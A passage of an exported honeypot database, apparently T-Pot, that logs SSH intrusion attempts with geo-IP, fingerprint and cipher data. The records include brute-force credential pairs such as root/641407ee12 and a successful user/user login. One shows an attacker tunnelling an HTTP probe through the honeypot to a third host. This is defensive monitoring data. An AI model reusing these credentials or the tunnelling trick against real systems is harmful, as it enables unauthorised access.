"b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8f4b886f1ba2", "@version": "1", "timestamp": "2021-09-20T11:50:05.603797Z", "@timestamp": "2021-09-20T11:50:05.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32138	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:50:05.602644+03	2021-09-20 15:00:03.092717+03	{"_id": "ugYKA3wBvYTbRNuEt0g4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 544393369830533, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60912, "dest_port": 22, "timestamp": "2021-09-20T11:50:05.602644Z", "@timestamp": "2021-09-20T11:50:05.602Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32139	107.173.209.238	109.199.241.180	Fatt	2021-09-20 14:50:05.603169+03	2021-09-20 15:00:03.093717+03	{"_id": "uwYKA3wBvYTbRNuEuEg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60912, "dest_port": 22, "timestamp": "2021-09-20T11:50:05.603169", "@timestamp": "2021-09-20T11:50:05.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32140	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:06.62316+03	2021-09-20 15:00:03.095716+03	{"_id": "vAYKA3wBvYTbRNuEuUiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "8f4b886f1ba2", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:50:06.623160Z", "@timestamp": "2021-09-20T11:50:06.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32141	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:58.502249+03	2021-09-20 15:00:03.096716+03	{"_id": "lwYKA3wBvYTbRNuEmkhT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:65274 (192.168.176.2:22) [session: 475974cd9328]", "session": "475974cd9328", "@version": "1", "protocol": "ssh", "src_port": 65274, "dest_port": 22, "timestamp": "2021-09-20T11:49:58.502249Z", "@timestamp": "2021-09-20T11:49:58.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
32142	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:58.837653+03	2021-09-20 15:00:03.097717+03	{"_id": "mAYKA3wBvYTbRNuEmkhT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "475974cd9328", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:49:58.837653Z", "@timestamp": "2021-09-20T11:49:58.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
32143	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:58.505087+03	2021-09-20 15:00:03.098716+03	{"_id": "mQYKA3wBvYTbRNuEmkhT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "475974cd9328", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:49:58.505087Z", "@timestamp": "2021-09-20T11:49:58.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
32144	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:58.564502+03	2021-09-20 15:00:03.100716+03	{"_id": "mgYKA3wBvYTbRNuEmkhT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "475974cd9328", "@version": "1", "timestamp": "2021-09-20T11:49:58.564502Z", "@timestamp": "2021-09-20T11:49:58.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
32145	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:58.773979+03	2021-09-20 15:00:03.101717+03	{"_id": "mwYKA3wBvYTbRNuEmkhT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "475974cd9328", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:49:58.773979Z", "@timestamp": "2021-09-20T11:49:58.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
32146	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:49:58.563399+03	2021-09-20 15:00:03.102716+03	{"_id": "nAYKA3wBvYTbRNuEm0jd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1954325905970221, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 65274, "dest_port": 22, "timestamp": "2021-09-20T11:49:58.563399Z", "@timestamp": "2021-09-20T11:49:58.563Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
32147	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:58.505771+03	2021-09-20 15:00:03.103717+03	{"_id": "nQYKA3wBvYTbRNuEnEji", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 65274, "timestamp": "2021-09-20T11:49:58.505771", "@timestamp": "2021-09-20T11:49:58.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32148	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:49:58.563703+03	2021-09-20 15:00:03.104717+03	{"_id": "ngYKA3wBvYTbRNuEnEji", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 65274, "dest_port": 22, "timestamp": "2021-09-20T11:49:58.563703", "@timestamp": "2021-09-20T11:49:58.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32161	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:50:24.866312+03	2021-09-20 15:00:03.120717+03	{"_id": "IgYLA3wBvYTbRNuEAUl6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 37227, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1695914905319432, "@version": "1", "in_iface": "enp5s0", "src_port": 45395, "dest_port": 53, "timestamp": "2021-09-20T11:50:24.866312Z", "@timestamp": "2021-09-20T11:50:24.866Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32149	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:58.901068+03	2021-09-20 15:00:03.106716+03	{"_id": "oAYKA3wBvYTbRNuEnkg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632138598.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632138598.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "475974cd9328", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:49:58.901068Z", "@timestamp": "2021-09-20T11:49:58.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
32150	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:03.321262+03	2021-09-20 15:00:03.107716+03	{"_id": "ogYKA3wBvYTbRNuErEiD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60684, "timestamp": "2021-09-20T11:50:03.321262", "@timestamp": "2021-09-20T11:50:03.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32151	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:49:50.615612+03	2021-09-20 15:00:03.108717+03	{"_id": "gwYKA3wBvYTbRNuEe0gO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:59400 (192.168.176.2:22) [session: 986dfcc6610c]", "session": "986dfcc6610c", "@version": "1", "protocol": "ssh", "src_port": 59400, "dest_port": 22, "timestamp": "2021-09-20T11:49:50.615612Z", "@timestamp": "2021-09-20T11:49:50.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32152	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:50.283611+03	2021-09-20 15:00:03.109716+03	{"_id": "hQYKA3wBvYTbRNuEe0gO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/641407ee12] failed", "session": "beda5f4e499a", "@version": "1", "password": "641407ee12", "username": "root", "timestamp": "2021-09-20T11:49:50.283611Z", "@timestamp": "2021-09-20T11:49:50.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
